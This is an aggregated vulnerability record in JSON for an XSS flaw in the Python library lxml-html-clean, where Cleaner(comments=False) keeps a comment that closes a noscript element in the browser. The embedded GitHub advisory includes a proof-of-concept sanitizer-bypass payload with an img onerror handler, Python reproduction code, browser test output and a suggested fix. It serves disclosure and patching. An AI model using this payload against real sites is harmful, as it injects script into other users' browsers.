{"id":"CVE-2026-141555","aliases":["EUVD-2026-141830","GHSA-vfhw-gfwp-vxfj"],"status":"published","title":"lxml-html-clean: Cleaner(comments=False) keeps a comment that closes \u003cnoscript\u003e in the browser, which allows XSS","description":"lxml-html-clean is an HTML cleaning library for Python. Prior to 0.4.7, Cleaner in lxml_html_clean/clean.py configured with comments=False uses kill_conditional_comments to remove conditional comments but retains other comments inside noscript. libxml2 parses the noscript content as markup and retains the comment as a node, while a browser with scripting enabled treats the content as raw text. A closing noscript tag inside a retained comment can terminate the element in the browser, causing following attacker-controlled markup to execute when cleaned HTML is rendered, without a click. The default Cleaner removes all comments, and the same comment outside noscript remains inert. An earlier check for a noscript closing tag applies to style text rather than retained comments. This issue is fixed in 0.4.7.","severity":{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-12-04","score":0.00485,"percentile":0.43437,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true,"poc_reported":true},"cwes":["CWE-79"],"published":"2026-12-02T20:09:26.551Z","modified":"2026-12-03T21:01:58Z","fixes":[{"ecosystem":"PyPI","package":"lxml-html-clean","fixed_in":["0.4.7"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"PyPI","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"0.4.6"},{"fixed":"0.4.7"}]}]},{"source":"osv","ecosystem":"PyPI","package":"lxml-html-clean","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.4.7"}]}],"versions":["0.1.0","0.1.1","0.2.0","0.2.1","0.2.2","0.3.0","0.3.1","0.4.0","0.4.1","0.4.2","0.4.3","0.4.4","0.4.5","0.4.6"]}],"products":[{"vendor":"fedora-python","product":"lxml_html_clean"}],"references":[{"url":"https://github.com/fedora-python/lxml_html_clean/security/advisories/GHSA-vfhw-gfwp-vxfj","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/fedora-python/lxml_html_clean/commit/c83f0befb32505782858f56a17ac572fbf979f62","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/fedora-python/lxml_html_clean/releases/tag/0.4.7","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-141555","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-vfhw-gfwp-vxfj"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/141xxx/CVE-2026-141555.json","tags":["advisory"]},{"url":"https://github.com/fedora-python/lxml_html_clean","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-141555","title":"lxml-html-clean: Cleaner(comments=False) keeps a comment that closes \u003cnoscript\u003e in the browser, which allows XSS","description":"lxml-html-clean is an HTML cleaning library for Python. Prior to 0.4.7, Cleaner in lxml_html_clean/clean.py configured with comments=False uses kill_conditional_comments to remove conditional comments but retains other comments inside noscript. libxml2 parses the noscript content as markup and retains the comment as a node, while a browser with scripting enabled treats the content as raw text. A closing noscript tag inside a retained comment can terminate the element in the browser, causing following attacker-controlled markup to execute when cleaned HTML is rendered, without a click. The default Cleaner removes all comments, and the same comment outside noscript remains inert. An earlier check for a noscript closing tag applies to style text rather than retained comments. This issue is fixed in 0.4.7.","status":"published","published":"2026-12-02T20:09:26.551Z","modified":"2026-12-02T23:07:46.45Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-79"],"ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","date":"2026-12-02"},"updated_at":"2026-12-02T23:23:06.228509Z"}],"euvd":[{"id":"EUVD-2026-141830","description":"lxml_html_clean: Cleaner(comments=False) keeps a comment that closes \u003cnoscript\u003e in the browser, which allows XSS","status":"published","published":"2026-12-03T02:40:18Z","modified":"2026-12-03T02:40:18Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-12-03T04:29:34.317518Z"}],"ghsa":[{"id":"GHSA-vfhw-gfwp-vxfj","title":"lxml_html_clean: Cleaner(comments=False) keeps a comment that closes \u003cnoscript\u003e in the browser, which allows XSS","description":"## Summary\n\nWith `comments=False`, the Cleaner removes only IE conditional comments (`lxml_html_clean/clean.py:363-366`, `kill_conditional_comments` at `599-607`) and keeps every other comment (`421-422`, `511-513`). libxml2 parses the content of `\u003cnoscript\u003e` as markup, so `\u003c!--\u003c/noscript\u003e\u003cimg src=x onerror=...\u003e--\u003e` is a single comment node and is returned unchanged. A browser with scripting enabled treats `\u003cnoscript\u003e` as raw text, closes it at the first `\u003c/noscript\u003e`, and parses the rest as live markup. The `\u003cimg onerror\u003e` handler runs when the cleaned output is rendered in a page, with no click.\n\nThe default `Cleaner()` is not affected, because it removes all comments. The same comment outside `\u003cnoscript\u003e` stays an inert comment in the browser.\n\nThis is the parser difference from GHSA-5jfw-gq64-q45f. The `\u003c/noscript` check added for it (`clean.py:668-670`) is applied to `\u003cstyle\u003e` text only.\n\nTested on lxml_html_clean 0.4.6 from PyPI (same commit as `main`), lxml 6.1.3, libxml2 2.14.6, Python 3.12.16, Chromium 159.0.8154.13 headless, with no network. The output is byte-identical on 0.1.0, 0.2.0, 0.4.0, 0.4.4 (lxml 5.1.0, libxml2 2.12.3) and 0.4.5.\n\n## Reproduction\n\n```python\nfrom lxml_html_clean import Cleaner\nP = '''\u003cnoscript\u003e\u003c!--\u003c/noscript\u003e\u003cimg src=x onerror=\"window.__fired=(window.__fired||0)+1;document.title='FIRED'\"\u003e--\u003e\u003c/noscript\u003e'''\nprint(Cleaner(comments=False).clean_html(P))\nprint(Cleaner().clean_html(P))\n```\n\n```text\n[A1] claim: comment in noscript, comments=False\n  out: \u003cnoscript\u003e\u003c!--\u003c/noscript\u003e\u003cimg src=x onerror=\"window.__fired=(window.__fired||0)+1;document.title='FIRED'\"\u003e--\u003e\u003c/noscript\u003e\n[A2] same input, default Cleaner()\n  out: \u003cnoscript\u003e\u003c/noscript\u003e\n[A3] same comment outside noscript, comments=False\n  out: \u003cdiv\u003e\u003c!--\u003c/noscript\u003e\u003cimg src=x onerror=\"window.__fired=(window.__fired||0)+1;document.title='FIRED'\"\u003e--\u003e\u003c/div\u003e\n```\n\nEach output was placed inside a `\u003cdiv\u003e` of a static page and loaded in Chromium:\n\n```text\nA1.html                    title=FIRED  fired=1 scripting_on=True imgs=['\u003cimg src=\"x\" onerror=\"window.__fired=(window.__fired||0)+1;document.title=\\'FIRED\\'\"\u003e'] noscript=[{'children': 0, 'text': '\u003c!--'}] comments=[]\nA2.html                    title=CLEAN  fired=0 scripting_on=True imgs=[] noscript=[{'children': 0, 'text': ''}] comments=[]\nA3.html                    title=CLEAN  fired=0 scripting_on=True imgs=[] noscript=[] comments=['\u003c/noscript\u003e\u003cimg src=x onerror=\"window.__']\n```\n\nAssigning the cleaned string to `innerHTML` also runs the handler.\n\n## Suggested fix\n\nIn `kill_conditional_comments`, also drop a comment when its text contains `\u003c/` followed by the tag name of one of its ancestors. With that change the payload becomes `\u003cnoscript\u003e\u003c/noscript\u003e`, and comments such as `\u003c!-- note: 1 \u003c 2 --\u003e` and `\u003c!-- \u003cb\u003eold\u003c/b\u003e --\u003e` are kept. Reusing `_looks_like_tag_content` (`clean.py:52-54`) on the comment text also stops the payload, but it removes commented-out markup like `\u003c!-- \u003cb\u003eold\u003c/b\u003e --\u003e` too.","status":"published","published":"2026-12-03T02:40:18Z","modified":"2026-12-03T02:40:21Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-12-03T02:41:31.174672Z"}],"nvd":[{"id":"CVE-2026-141555","description":"lxml-html-clean is an HTML cleaning library for Python. Prior to 0.4.7, Cleaner in lxml_html_clean/clean.py configured with comments=False uses kill_conditional_comments to remove conditional comments but retains other comments inside noscript. libxml2 parses the noscript content as markup and retains the comment as a node, while a browser with scripting enabled treats the content as raw text. A closing noscript tag inside a retained comment can terminate the element in the browser, causing following attacker-controlled markup to execute when cleaned HTML is rendered, without a click. The default Cleaner removes all comments, and the same comment outside noscript remains inert. An earlier check for a noscript closing tag applies to style text rather than retained comments. This issue is fixed in 0.4.7.","status":"published","published":"2026-12-02T21:18:11.16Z","modified":"2026-12-03T00:18:06.24Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-79"],"ssvc":{"exploitation":"poc","automatable":"no","technical_impact":"partial","date":"2026-12-02"},"updated_at":"2026-12-03T00:20:05.019864Z"}],"osv":[{"id":"CVE-2026-141555","title":"lxml-html-clean: Cleaner(comments=False) keeps a comment that closes \u003cnoscript\u003e in the browser, which allows XSS","description":"lxml-html-clean is an HTML cleaning library for Python. Prior to 0.4.7, Cleaner in lxml_html_clean/clean.py configured with comments=False uses kill_conditional_comments to remove conditional comments but retains other comments inside noscript. libxml2 parses the noscript content as markup and retains the comment as a node, while a browser with scripting enabled treats the content as raw text. A closing noscript tag inside a retained comment can terminate the element in the browser, causing following attacker-controlled markup to execute when cleaned HTML is rendered, without a click. The default Cleaner removes all comments, and the same comment outside noscript remains inert. An earlier check for a noscript closing tag applies to style text rather than retained comments. This issue is fixed in 0.4.7.","status":"published","published":"2026-12-02T20:09:26.551Z","modified":"2026-12-03T21:01:58.751602306Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-12-03T21:10:05.302032Z"},{"id":"GHSA-vfhw-gfwp-vxfj","title":"lxml_html_clean: Cleaner(comments=False) keeps a comment that closes \u003cnoscript\u003e in the browser, which allows XSS","description":"## Summary\n\nWith `comments=False`, the Cleaner removes only IE conditional comments (`lxml_html_clean/clean.py:363-366`, `kill_conditional_comments` at `599-607`) and keeps every other comment (`421-422`, `511-513`). libxml2 parses the content of `\u003cnoscript\u003e` as markup, so `\u003c!--\u003c/noscript\u003e\u003cimg src=x onerror=...\u003e--\u003e` is a single comment node and is returned unchanged. A browser with scripting enabled treats `\u003cnoscript\u003e` as raw text, closes it at the first `\u003c/noscript\u003e`, and parses the rest as live markup. The `\u003cimg onerror\u003e` handler runs when the cleaned output is rendered in a page, with no click.\n\nThe default `Cleaner()` is not affected, because it removes all comments. The same comment outside `\u003cnoscript\u003e` stays an inert comment in the browser.\n\nThis is the parser difference from GHSA-5jfw-gq64-q45f. The `\u003c/noscript` check added for it (`clean.py:668-670`) is applied to `\u003cstyle\u003e` text only.\n\nTested on lxml_html_clean 0.4.6 from PyPI (same commit as `main`), lxml 6.1.3, libxml2 2.14.6, Python 3.12.16, Chromium 159.0.8154.13 headless, with no network. The output is byte-identical on 0.1.0, 0.2.0, 0.4.0, 0.4.4 (lxml 5.1.0, libxml2 2.12.3) and 0.4.5.\n\n## Reproduction\n\n```python\nfrom lxml_html_clean import Cleaner\nP = '''\u003cnoscript\u003e\u003c!--\u003c/noscript\u003e\u003cimg src=x onerror=\"window.__fired=(window.__fired||0)+1;document.title='FIRED'\"\u003e--\u003e\u003c/noscript\u003e'''\nprint(Cleaner(comments=False).clean_html(P))\nprint(Cleaner().clean_html(P))\n```\n\n```text\n[A1] claim: comment in noscript, comments=False\n  out: \u003cnoscript\u003e\u003c!--\u003c/noscript\u003e\u003cimg src=x onerror=\"window.__fired=(window.__fired||0)+1;document.title='FIRED'\"\u003e--\u003e\u003c/noscript\u003e\n[A2] same input, default Cleaner()\n  out: \u003cnoscript\u003e\u003c/noscript\u003e\n[A3] same comment outside noscript, comments=False\n  out: \u003cdiv\u003e\u003c!--\u003c/noscript\u003e\u003cimg src=x onerror=\"window.__fired=(window.__fired||0)+1;document.title='FIRED'\"\u003e--\u003e\u003c/div\u003e\n```\n\nEach output was placed inside a `\u003cdiv\u003e` of a static page and loaded in Chromium:\n\n```text\nA1.html                    title=FIRED  fired=1 scripting_on=True imgs=['\u003cimg src=\"x\" onerror=\"window.__fired=(window.__fired||0)+1;document.title=\\'FIRED\\'\"\u003e'] noscript=[{'children': 0, 'text': '\u003c!--'}] comments=[]\nA2.html                    title=CLEAN  fired=0 scripting_on=True imgs=[] noscript=[{'children': 0, 'text': ''}] comments=[]\nA3.html                    title=CLEAN  fired=0 scripting_on=True imgs=[] noscript=[] comments=['\u003c/noscript\u003e\u003cimg src=x onerror=\"window.__']\n```\n\nAssigning the cleaned string to `innerHTML` also runs the handler.\n\n## Suggested fix\n\nIn `kill_conditional_comments`, also drop a comment when its text contains `\u003c/` followed by the tag name of one of its ancestors. With that change the payload becomes `\u003cnoscript\u003e\u003c/noscript\u003e`, and comments such as `\u003c!-- note: 1 \u003c 2 --\u003e` and `\u003c!-- \u003cb\u003eold\u003c/b\u003e --\u003e` are kept. Reusing `_looks_like_tag_content` (`clean.py:52-54`) on the comment text also stops the payload, but it removes commented-out markup like `\u003c!-- \u003cb\u003eold\u003c/b\u003e --\u003e` too.","status":"published","published":"2026-12-03T02:40:18Z","modified":"2026-12-03T03:00:04.142719959Z","cvss":[{"version":"3.1","score":4.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N","level":"medium"}],"cwes":["CWE-79"],"updated_at":"2026-12-03T03:09:16.659991Z"}]}}
